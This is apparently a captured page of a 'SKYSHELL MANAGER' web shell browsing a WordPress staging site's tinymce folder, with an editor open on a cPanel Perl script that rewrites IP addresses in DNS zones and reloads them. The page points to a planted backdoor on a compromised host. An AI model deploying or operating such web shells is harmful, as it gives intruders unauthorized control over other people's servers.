📁
SKYSHELL MANAGER
PHP v8.2.31
Create
Create
Path:
root
/
home
/
thevaxnx
/
nativize.com
/
staging
/
wp-includes
/
js
/
tinymce
/
themes
/
Name
Size
Perm
Actions
📁
inlite
-
0755
🗑️
🏷️
🔒
📁
modern
-
0755
🗑️
🏷️
🔒
📄
wp-links-opml.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
Edit: migscript
my $DOMAINS_PER_BATCH = 256; my $domain_to_user_map = Cpanel::Config::LoadUserDomains::loaduserdomains( {}, 1 ); my @zones_to_process = sort keys %$domain_to_user_map; my ( @all_results, @reload_list ); while ( my @zones = splice( @zones_to_process, 0, $DOMAINS_PER_BATCH ) ) { # First break down the domain list into a list of zones we need to fetch print "Fetching a block of zones...(@zones zones)..." . flush_buffer(); my %ZONES = %{ Cpanel::DnsUtils::Fetch::fetch_zones( 'zones' => \@zones ) }; print "Done." . line_break(); js_scroll(); my $SYNCZONES_request_data; foreach my $zone ( keys %ZONES ) { next if !$ZONES{$zone}; my $zone_updated = 0; if ( !$ZONES{$zone} || $ZONES{$zone} =~ m/^[\r\s\n]*$/ ) { next; } $ZONES{$zone} =~ s/\b([0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3})/$IPS{$1} ? (($zone_updated = 1) ? $IPS{$1} : $IPS{$1}) : $1/ge; if ($zone_updated) { print qq{Updating $zone..} . flush_buffer(); if ( !length $ZONES{$zone} ) { warn qq{Critical error the zone "$zone" was unexpectedly empty after modification.}; next; } $ZONES{$zone} = Cpanel::DnsUtils::Stream::upsrnumstream( $ZONES{$zone} ); #increase serial number $ZONES{$zone} =~ s/([^\w\-\.\@])/sprintf("%%%2.2x",ord($1))/eg; $SYNCZONES_request_data .= "cpdnszone-$zone=$ZONES{$zone}&"; push @reload_list, $zone; print "...done" . line_break(); } } js_scroll(); Cpanel::DnsUtils::AskDnsAdmin::askdnsadmin( 'SYNCZONES', 0, '', '', '', $SYNCZONES_request_data ) if $SYNCZONES_request_data; } print line_break(); if (@reload_list) { print "Reloading nameserver for zone changes..." . flush_buffer(); print line_break(); Cpanel::DnsUtils::AskDnsAdmin::askdnsadmin( 'RELOADZONES', 0, join( ',', @reload_list ) ) unless !@reload_list; } else { print "No zone files were updated...." . flush_buffer(); } print "Done."; print line_break(); sub flush_buffer { $ENV{'WHM50'} ? " \n " : ""; } sub line_break { $ENV{'WHM50'} ? "<br />\n" : "\n"; } sub js_scroll { syswrite( STDOUT, '<script>window.setTimeout(function() { try { scrollend() } catch (e) { } },180);</script>' . "\n" ) if $ENV{'WHM50'}; }
Save